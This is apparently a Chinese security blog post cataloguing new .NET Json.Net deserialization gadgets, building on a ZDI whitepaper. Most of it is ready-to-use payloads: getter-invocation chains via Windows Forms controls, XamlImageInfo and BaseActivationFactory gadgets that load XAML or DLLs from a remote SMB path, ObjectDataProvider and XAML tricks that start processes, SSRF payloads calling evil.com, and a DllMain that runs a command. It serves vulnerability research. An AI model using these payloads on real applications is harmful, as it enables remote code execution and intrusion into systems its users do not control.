dotnet New Deserialization Gadgets
前言
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
本文补充任意 Getter 调用以及新的反序列化 Gadget 这两个部分的内容
任意 Getter 调用
PropertyGrid
命名空间: System.Windows.Forms
反序列化时调用指定对象的所有 getter
payload
1
2
3
4
5
6
|
{
"$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"SelectedObjects": [{
"your": "object"
}]
}
|
过程比较复杂, 直接看调用堆栈
ComboBox
命名空间: System.Windows.Forms
反序列化时调用指定 getter
payload
1
2
3
4
5
6
7
8
|
{
"$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [{
"your": "object"
}],
"DisplayMember": "MaliciousMember",
"Text": "whatever"
}
|
- Items: 存放恶意对象
- DisplayMember: 指定 getter 属性名称
- Text: 触发 getter 调用
DisplayMember
Text setter
GetItemText
FilterItemOnProperty
通过 propertyDescriptor.GetValue 调用指定属性的 getter
ListBox
命名空间: System.Windows.Forms
反序列化时调用指定 getter, 与 ComboBox 类似
payload
1
2
3
4
5
6
7
8
|
{
"$type": "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [{
"your": "object"
}],
"DisplayMember": "MaliciousMember",
"Text": "whatever"
}
|
Text setter
CheckedListBox
命名空间: System.Windows.Forms
反序列化时调用指定 getter, 与 ComboBox, ListBox 类似 (继承自 ListBox)
payload
1
2
3
4
5
6
7
8
|
{
"$type": "System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [{
"your": "object"
}],
"DisplayMember": "MaliciousMember",
"Text": "whatever"
}
|
与序列化 Gadget 结合
作者指出了 Json.Net 的一种限制场景
即基于特性设置的 TypeNameHanding.All 仅针对当前被标记的对象 (第一层对象)
对于对象内部的其它字段 (第二层对象) 在反序列化时仍然基于 TypeNameHanding.None
PropertyGrid + SecurityException
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
{
"$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"SelectedObjects": [{
"$type": "System.Security.SecurityException",
"ClassName": "System.Security.SecurityException",
"Message": "Security error.",
"Data": null,
"InnerException": null,
"HelpURL": null,
"StackTraceString": null,
"RemoteStackTraceString": null,
"RemoteStackIndex": 0,
"ExceptionMethod": null,
"HResult": -2146233078,
"Source": null,
"WatsonBuckets": null,
"Action": 0,
"FirstPermissionThatFailed": null,
"Demanded": null,
"GrantedSet": null,
"RefusedSet": null,
"Denied": null,
"PermitOnly": null,
"Assembly": null,
"Method": "base64-encoded-binaryformatter-gadget",
"Method_String": null,
"Zone": 0,
"Url": null
}]
}
|
ComboBox + SettingsPropertyValue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
{
"$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"Items": [{
"$type": "System.Configuration.SettingsPropertyValue, System",
"Name": "test",
"IsDirty": false,
"SerializedValue": {
"$type": "System.Byte[], mscorlib",
"$value": "base64-encoded-binaryformatter-gadget"
},
"Deserialized": false
}],
"DisplayMember": "PropertyValue",
"Text": "whatever"
}
|
XamlImageInfo
System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo
反序列化时加载 Xaml 实现 RCE
作者指出某些序列化器在默认配置下不能正确的反序列化 Stream 类型
最终找到了两种 Stream, 分别对应下面的 variant 1 和 variant 2
- LazyFileStream
- ReadOnlyStreamFromStrings
variant 1 (GAC)
从指定文件路径加载 Xaml (支持 UNC 路径, 因此可以从远程 SMB 服务器加载)
1
2
3
4
5
6
7
|
{
"$type": "System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"stream": {
"$type": "Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"path": "\\\\192.168.1.100\\poc\\malicious.xaml"
}
}
|
Stream 类型使用 Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream
不知道为啥 LazyFileStream 就可以反序列化, 可能是结构比较简单?
variant 2 (non-GAC)
依赖 Microsoft.Web.Deployment.dll (非 GAC 程序集)
直接传递字符串形式的 Xaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
{
"$type": "System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"stream": {
"$type": "Microsoft.Web.Deployment.ReadOnlyStreamFromStrings, Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"enumerator": {
"$type": "Microsoft.Web.Deployment.GroupedIEnumerable`1+GroupEnumerator[[System.String, mscorlib]], Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"enumerables": [{
"$type": "System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib",
"$values": [""]
}]
},
"stringSuffix": "xaml-gadget-here"
}
}
|
Stream 类型使用 Microsoft.Web.Deployment.ReadOnlyStreamFromStrings
分析没怎么看明白, 大概意思就是传入一个空的 Enumerator, 其 Current 属性与 stringSuffix 拼接, 使得最终 Stream 里的内容直接就是 Xaml payload
XamlReader Trick
https://learn.microsoft.com/en-us/dotnet/desktop/xaml-services/xfactorymethod-directive
Xaml 的一个 trick, 无需 ObjectDataProvider 即可调用指定方法
1
2
3
4
5
6
7
8
|
<Process xmlns='clr-namespace:System.Diagnostics;assembly=System.Diagnostics.Process'
xmlns:assembly='http://schemas.microsoft.com/winfx/2006/xaml'
xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml'
x:FactoryMethod='Start'>
<x:Arguments>
calc.exe
</x:Arguments>
</Process>
|
SetCurrentDirectory
修改当前工作目录的 Gadget, 但是必须得是非默认配置, 利用场景有限
- System.Environment
- Microsoft.VisualBasic.FileIO.FileSystem
- Microsoft.VisualBasic.MyServices.FileSystemProxy
SSRF
支持 HTTP/HTTPS/FTP/SMB Blind SSRF 的 Gadget (SMB 协议也许可以与 NTLM Relay 结合)
PictureBox
命名空间: System.Windows.Forms
1
2
3
4
5
|
{
"$type": "System.Windows.Forms.PictureBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"WaitOnLoad": "true",
"ImageLocation": "http://evil.com/poc"
}
|
InfiniteProgressPage
命名空间: Microsoft.ApplicationId.Framework
1
2
3
4
|
{
"$type": "Microsoft.ApplicationId.Framework.InfiniteProgressPage, Microsoft.ApplicationId.Framework, Version=10.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"AnimatedPictureFile": "http://evil.com/poc"
}
|
.NET >= 5 (.NET Core)
.NET >= 5 时的限制
https://learn.microsoft.com/zh-cn/dotnet/desktop/wpf/overview/
https://learn.microsoft.com/en-us/dotnet/core/compatibility/core-libraries/5.0/global-assembly-cache-apis-obsolete
.NET Framework 版本的 WPF 内置于 GAC, 因为程序集查找顺序的特性, 所以可以直接用 ObjectDataProvider 这类存在于 PresentationFramework.dll 内的 Gadget
而 .NET 5 及更高版本 (.NET Core) 去除了全局程序集缓存 (GAC) 这一概念
因此 .NET Core 如果想要使用 WPF 框架 (PresentationFramework.dll), 则需要单独为项目指定 UseWPF 标签, 或者直接创建一个 WPF 项目, 限制较大
1
2
3
4
5
6
7
|
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0-windows</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<UseWPF>true</UseWPF>
</PropertyGroup>
|
.NET Core Gadget
ObjectDataProvider
跟之前 .NET Framework 的 payload 一模一样
1
2
3
4
5
6
7
8
9
|
{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":["cmd", "/c calc.exe"]
},
"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
|
BaseActivationFactory
加载本地/远程 DLL
1
2
3
4
5
|
{
"$type": "WinRT.BaseActivationFactory, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"typeNamespace": "\\\\192.168.1.100\\poc\\lib",
"typeFullName": "whatever"
}
|
WinRT.BaseActivationFactory 构造函数
DllModule.Load
Platform.LoadLibraryExW
最终调用 kernel32.dll 内的 native 函数
DLL 需要使用 C++ 编写, 加载时会执行 DllMain 函数内的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
CompilerResults
加载本地 DLL (Assembly.Load)
详细参考上一篇文章: https://exp10it.io/2024/02/dotnet-insecure-serialization/
作为序列化 Gadget 时无限制
1
2
3
4
5
|
{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}
|
如果想要在反序列化时利用, 则需要与前面的任意 Getter 调用 Gadget 结合 (均依赖于 WPF)
CheckedListBox + CompilerResults
1
2
3
4
5
6
7
8
9
10
|
{
"$type": "System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\exp10it\\lib-amd64.dll"
}],
"DisplayMember": "CompiledAssembly",
"Text": "whatever"
}
|
PropertyGrid + CompilerResults
1
2
3
4
5
6
7
8
|
{
"$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"SelectedObjects": [{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\exp10it\\lib-amd64.dll"
}]
}
|
ComboBox/ListBox 同理